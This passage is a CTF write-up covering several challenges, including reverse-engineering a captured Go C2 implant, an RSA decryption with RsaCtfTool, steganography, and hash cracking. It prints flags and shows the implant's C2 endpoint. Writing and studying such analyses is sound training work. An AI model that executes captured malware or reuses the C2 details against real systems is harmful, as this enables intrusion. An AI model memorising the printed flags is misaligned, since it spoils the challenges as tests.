Parsing through the scroller, I get the full text as 0824.44 W 5885.011 N
, which is completely wrong because I read it backwards! The correct coordinates are 44.4280° N 110.5885° W
, which is Yellowstone National Park.; accordint to Reddit, this is also known as the Zone of Death.
Turns out, that was the answer!
Answer: uscg{YELLOWSTONE}
; 454 points
Chips & Dip
Analysts were dispatched to an undisclosed government site abroad last week to triage a serious breach that occured. They were unable to recover anything from the machine itself, however some suspicious traffic was captured that seems to be related. Can you find out what was exfiltrated from the system?
Looking at packet 271, I can see that there was a large amount of data sent across the wire. Dropping it in Cyberchef to parse as hex, I can see that the resulting output is a Linux Executable File (ELF). Once I run strings
on the binary, I can quickly see that it is a go
file. Running file
confirms it:
chips-and-dip.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=sY_tKGW_QXcLt5Qw1Ag-/0CyzH1QBVFPHGaq02Gms/N4UacwYhZgTdOJabTfbI/GUvBNEbkuHiTglx4Qmud, with debug_info, not stripped
Trying to execute the file with chmod +x
then ./chips-and-dip.elf
fails:
panic: runtime error: index out of range [1] with length 1
goroutine 1 [running]:
main.main()
/app/client/main.go:59 +0x585
According to this thread, that means the binary is expecting a CLI argument. So I tried the following:
$ ./chips-and-dip.elf test
2023/06/07 20:13:48 Error while connecting to C2 server: Post "http://test/register": dial tcp: lookup test on127.0.0.53:53: server misbehaving
This is clearly a post-exploitation framework of some kind, which means we've found our malicious entrypoint. The executable was the response to an initial request to http://10.10.0.100:1337/system_update
in packet 28, which we can see by following the HTTP stream.
We get a different response when we provide localhost
as the parameter:
$ ./chips-and-dip.elf localhost
panic: salsa20: nonce must be 8 or 24 bytes
goroutine 1 [running]:
golang.org/x/crypto/salsa20.XORKeyStream({0x8f5ef0?, 0x0?, 0x668780?}, {0x8f5ef0?, 0x14?, 0x733fa0?}, {0x8f5ef0?, 0xc000093c38?, 0x34?}, 0x8f6260)
/go/pkg/mod/golang.org/x/crypto@v0.9.0/salsa20/salsa20.go:54 +0x1b5
main.GetC2Command()
/app/client/main.go:198 +0x70e
main.main()
/app/client/main.go:110 +0x4b4
Following the HTTP stream from packets 277-319 shows all the activity that took place after the script was ran, but it's all heavily obfuscated/encoded and we can't make sense of it initially. Given the above error message, there must be some way to use the observed nonces to decipher the traffic seen taking place. I used sudo snap install ghidra
to get Ghidra installed, so we can potentially see what's going on behind the scenes of the binary and perform some reverse engineering to get a better understanding of the comms. Right off the bat, we gain some valuable intel:
Unfortunately the repository in question is private, so we can't take a look at the original code. Unfortunately there were no archives available on Google and no captures on the WaybackMachine. Searching through all fields and all memory blocks for USCG
did not yield any hits, so we have to try a different approach to look at the network traffic instead of looking exclusively in the binary.
Searching for a case-sensitive ClientId
did return hits, giving us a place to start our investigation:
While that was a small number of hits to sort through, Nonce
gave us a much greater search space:
Reverse Engineering
Door Dilemma 0
You are the contestant on a totally groovy game show. You'll be searching for flags behind sets of doors.
Choose wisely...
0.cloud.chals.io:31598
Running strings
, we can see that the binary was made at path /home/buildozer/aports/main/musl/src/1.2.4
. We can also tell that it's a game called Let's Make A Flag!
, but there is no obvious way to get the flag without playing. So we play:
nc 0.cloud.chals.io 31598
Hot Dog!
Since RSA is a secure algorithm, you definitely won't be able to decrypt this!
e = 2456177662368841073036143510580438779017390684801222254300553150034716154457981121195222860700930532514264251746897037040414775076664035693036188792751210424141191337899809823647569471333836493756238486281496624513763692789606266079741935581928852823940845603821917879013432345070068502817309727091533458791456156789276671476947151880437651288686695581999486832873714558179199170441988362935302027149689118116812043743797245403303926490741551436501158510469714140361413204585246371420333538257347456215822669492130678151315215111206243310763433416030268416325398581685202901715673201692510258707141677133868941223257
n = 11729008105325258255326185674307160966829206168596712379314083480688793457910540904773878049284762904500253559144078928049702143830961264547158592391689789916653079002179641430325334593696472566082490532210102235807799724746804042557103737068888002560619318503613052597778649814613716206426881360424828623021335439892006945375323482679113258851899592583482233251824636645114959158526234157865751296816021583352940075515192638510097975068939222633902219745092626063409767982662999090378861267535714040846729623089760168012567818116305291649906200631269719361033285955711235590946024152705924469544710952342373949954869
c = 156282912172387780236289861032072830327923224982452352200699674097566812430702112612768425068796359678322258691469816729015003419470204364898539390583301482043254330249439891466663763790244951883999142652664420415086493355740413025738043585545600370712445141554498530447202710771965915594876811125623645938066297042895925502613481307097460022278978489046830678719823018381655738202014549073751874987303078708229678276047031597974269516846922984484458109922611051242297336544461379268216099174047471303460137083615579640989335843119470834411831485971498369874498541566507560255064542436001153552448952415585490523639
I used the RsaCtfTool to solve this one, idea suggested by this post:
$ git clone https://github.com/RsaCtfTool/RsaCtfTool
$ cd RsaCtfTool
$ pip3 install -r requirements.txt
$ ./RsaCtfTool.py -n 11729008105325258255326185674307160966829206168596712379314083480688793457910540904773878049284762904500253559144078928049702143830961264547158592391689789916653079002179641430325334593696472566082490532210102235807799724746804042557103737068888002560619318503613052597778649814613716206426881360424828623021335439892006945375323482679113258851899592583482233251824636645114959158526234157865751296816021583352940075515192638510097975068939222633902219745092626063409767982662999090378861267535714040846729623089760168012567818116305291649906200631269719361033285955711235590946024152705924469544710952342373949954869 -e 2456177662368841073036143510580438779017390684801222254300553150034716154457981121195222860700930532514264251746897037040414775076664035693036188792751210424141191337899809823647569471333836493756238486281496624513763692789606266079741935581928852823940845603821917879013432345070068502817309727091533458791456156789276671476947151880437651288686695581999486832873714558179199170441988362935302027149689118116812043743797245403303926490741551436501158510469714140361413204585246371420333538257347456215822669492130678151315215111206243310763433416030268416325398581685202901715673201692510258707141677133868941223257 --uncipher 156282912172387780236289861032072830327923224982452352200699674097566812430702112612768425068796359678322258691469816729015003419470204364898539390583301482043254330249439891466663763790244951883999142652664420415086493355740413025738043585545600370712445141554498530447202710771965915594876811125623645938066297042895925502613481307097460022278978489046830678719823018381655738202014549073751874987303078708229678276047031597974269516846922984484458109922611051242297336544461379268216099174047471303460137083615579640989335843119470834411831485971498369874498541566507560255064542436001153552448952415585490523639
Eventually it spit out the answer; I realized shortly afterwards that the same result can be accomplished on dcode.fr much more quickly :)
Answer: uscg{th1s_att4ck_ha5_4n_amus1ng_n4m3}
Pwn
shelcod
Positive pessimism for the day: I may not be able to write, but at least all the file descriptors are closed anyway!
0.cloud.chals.io:18152
Hints:
The flag has the regex: ^uscg{[a-zA-Z0-9_!?-]{29}}$
Connection on the challenge server may be kept open by socat and not the binary, conn.recvline(timeout=x)
is a good way to test that
Crypto
Ancient Secrets
An Ancient secret was split into many parts and hidden around the globe. We've managed to recover all but one of the parts. Can you help find the last part and uncover the secret?
Zoomer Lingo
I asked ChatGPT to explain zoomer lingo, but all I got back was emojis! Can you help me figure out what zoomer lingo is?
I Am Groot
Groot has been working on his computer skills and sent what he claims is an important message but so far we haven't really been able to interpret it. Maybe you can make some sense of it?
Opening the file immediately gives me two thoughts:
- There are non-printing characters that are displaying strangely in my IDE, and I know those have been used to hide messages in the past, so that may be an avenue worth exploring
- The "I am Groot." repeating string could be a clue, based on how many times it is repeated per line
First thing I tried is counting the number of times Groot is on each line:
#!/bin/bash
filename="groot.txt"
while IFS= read -r line; do
count=$(grep -o "I am Groot\." <<< "$line" | wc -l)
echo "Occurrences on line $((++line_count)): $count"
done < "$filename"
After massaging the output into a single contiguous string, I got the following:
2593617981023744542247913074614579486897825808423217322636073874310509543109450044360280213613123520667607489353693083201953927423978382011872091966654939939049525794659206
Unfortunately, I wasn't able to decode this into anything. I then tried using a hidden text tool to extract data from the non-printable characters in the text, but all the output was clearly gibberish. I also tried using stegcloak
, but the format wasn't compatible.
I consulted with crypto-queen Sarah and she found the flag and gave me a methodology to do so:
-
Use
xdd
to convert the file to hex -
Use regex to filter out the byte values of "I am Groot."
#!/bin/bash # Array of hex characters to remove hex_chars=("61" "62" "63") # Function to remove hex characters from a file remove_hex_chars() { local file="$1" local temp_file="$(mktemp)" while IFS= read -r line; do for hex_char in "${hex_chars[@]}"; do line=$(echo "$line" | sed "s/\\x$hex_char//g") done echo "$line" >> "$temp_file" done < "$file" mv "$temp_file" "dehexed_$file" } # Remove hex characters from the file remove_hex_chars "groot.txt"
Answer: USCG{1_4m_gr00t_l0l}
; 460 points
Over the Rainbow
Test your computer's power levels and see if you can uncover the flag! NOTE: This challenge will require a lot of computation time.
0.cloud.chals.io:25274
My signature is QDvZ0TakzNcC3edL2txd2jupqwZDEtvIoViGaQFfXad+YUDVecrxrhjXOzj4B+YI3I5arlNShPYQxjb2Q9Y3vQ==
and my temporary salt is KMujs
. This is what the hash function on the server looks like:
def hash(salt, data):
random.seed(salt)
h = list(seahash.SeaHash(salt+data).digest())
random.shuffle(h)
return bytes(h)
def hash_checker(salt):
PASS_LEN = 4
TIMEOUT = 15
NUM_CHECKS = 50
MIN_PCT = 0.6
correct = 0
print("I'll give you parts of the flag if you can crack enough hashes!")
for _ in range(NUM_CHECKS):
passwd = os.urandom(PASS_LEN)
h = hash(salt, passwd)
try:
pt = inputimeout(f"What password made this hash {h.hex()}? ", timeout=TIMEOUT)
except TimeoutOccurred:
print("Too Slow!")
continue
if bytes.fromhex(attempt) == passwd:
print("Correct!")
correct += 1
else:
print("Wrong!")
print(f"You passed {correct} checks! Good Job!")
pct = correct / NUM_CHECKS
if pct > MIN_PCT:
print("You are worthy of the flag!")
random.seed(os.urandom(2))
leave(f"The flag is: {''.join(chr(c) if random.random() < pct else '?' for c in FLAG)}")
else:
leave("Your computer is not very powerful :(")
Misc
On Target
There is an asteroid headed right for Earth and we need to shoot it down! Connect to the Earth Orbital Defense Platform and see if you can help aim our lasers to take it out before time runs out! Remember: You're aiming at a moving target in real-time.
Connect to: 0.cloud.chals.io:32121
Solved with hit_asteroid.py!
Answer: USCG{g0t_1t_1n_my_s1t35}
; 416 points
Parity
Dr. Brown said he wanted to send me a funny joke (he's always hamming it up during competition), but he wanted to be sure that it wasn't going to get corrupted by any stray cosmic rays or anything in transit. His server is broadcasting the joke but I can't seem to decode the message. Maybe you could give it a try?
He mentioned something about 4 data bits and 4 parity bits...
Connect to: 0.cloud.chals.io:21396
Running nc 0.cloud.chals.io 21396
gives me a constant stream of binary data in a repeating pattern: